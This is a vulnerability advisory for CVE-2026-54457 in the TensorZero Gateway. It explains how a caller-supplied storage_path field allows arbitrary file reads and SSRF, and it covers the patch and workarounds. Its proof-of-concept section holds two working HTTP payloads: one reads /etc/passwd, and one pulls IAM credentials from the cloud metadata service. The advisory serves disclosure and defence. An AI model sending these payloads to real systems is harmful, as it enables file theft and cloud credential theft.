high · 7.7CVE-2026-54457Jul 15, 2026

CVE-2026-54457: TensorZero Gateway Arbitrary File Read and SSRF

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The TensorZero Gateway lets any caller override its object storage backend through a single API parameter, letting attackers read files off the server or pivot to internal cloud services.

Packagetensorzero
Ecosystempip
Affected< 2026.6.0
Fixed in2026.6.0

The problem

The /internal/object_storage endpoint accepts a caller-supplied storage_path JSON field that fully overrides the gateway's configured [object_storage] backend at request time. No validation was performed to ensure the supplied backend matched the server's own configuration.

An attacker with network access to the gateway can send a filesystem storage type pointing at any path on the host, reading sensitive files such as credentials or config. They can also send an s3_compatible storage type with an attacker-chosen endpoint URL, coercing the gateway into making outbound HTTP requests to internal addresses, including cloud metadata services.

Both attacks require only the ability to reach the endpoint; authentication is optional per deployment.

Proof of concept

A working proof-of-concept for CVE-2026-54457 in tensorzero, with the exact payload below.

http
# Attack 1: Arbitrary file read via filesystem storage type
POST /internal/object_storage HTTP/1.1
Host: tensorzero-gateway:3000
Content-Type: application/json

{
  "storage_path": {
    "type": "filesystem",
    "path": "/etc/passwd"
  }
}

---

# Attack 2: SSRF via s3_compatible storage type (targets cloud metadata)
POST /internal/object_storage HTTP/1.1
Host: tensorzero-gateway:3000
Content-Type: application/json

{
  "storage_path": {
    "type": "s3_compatible",
    "endpoint": "http://169.254.169.254/latest/meta-data/",
    "bucket": "x",
    "key": "iam/security-credentials/"
  }
}

The root cause is that the endpoint deserialised the caller-supplied storage_path directly into a storage backend configuration struct, then instantiated a live storage client from it, with no check against the server's own configuration. This is a classic user-controlled backend instantiation pattern (CWE-552 for file access, CWE-918 for SSRF).

The patch (commit 0abbc838, PR #7527) removes the ability to dynamically specify a storage backend in the request body entirely. The endpoint now uses only the storage configuration that was loaded at gateway startup, so caller input can never override the backend type or endpoint URL.

The fix

Upgrade tensorzero to version 2026.6.0 or later. If an immediate upgrade is not possible, block external access to the /internal/object_storage endpoint at the network or reverse-proxy layer as an interim workaround.

Reporter not attributed.

References: [1][2][3][4]

Related research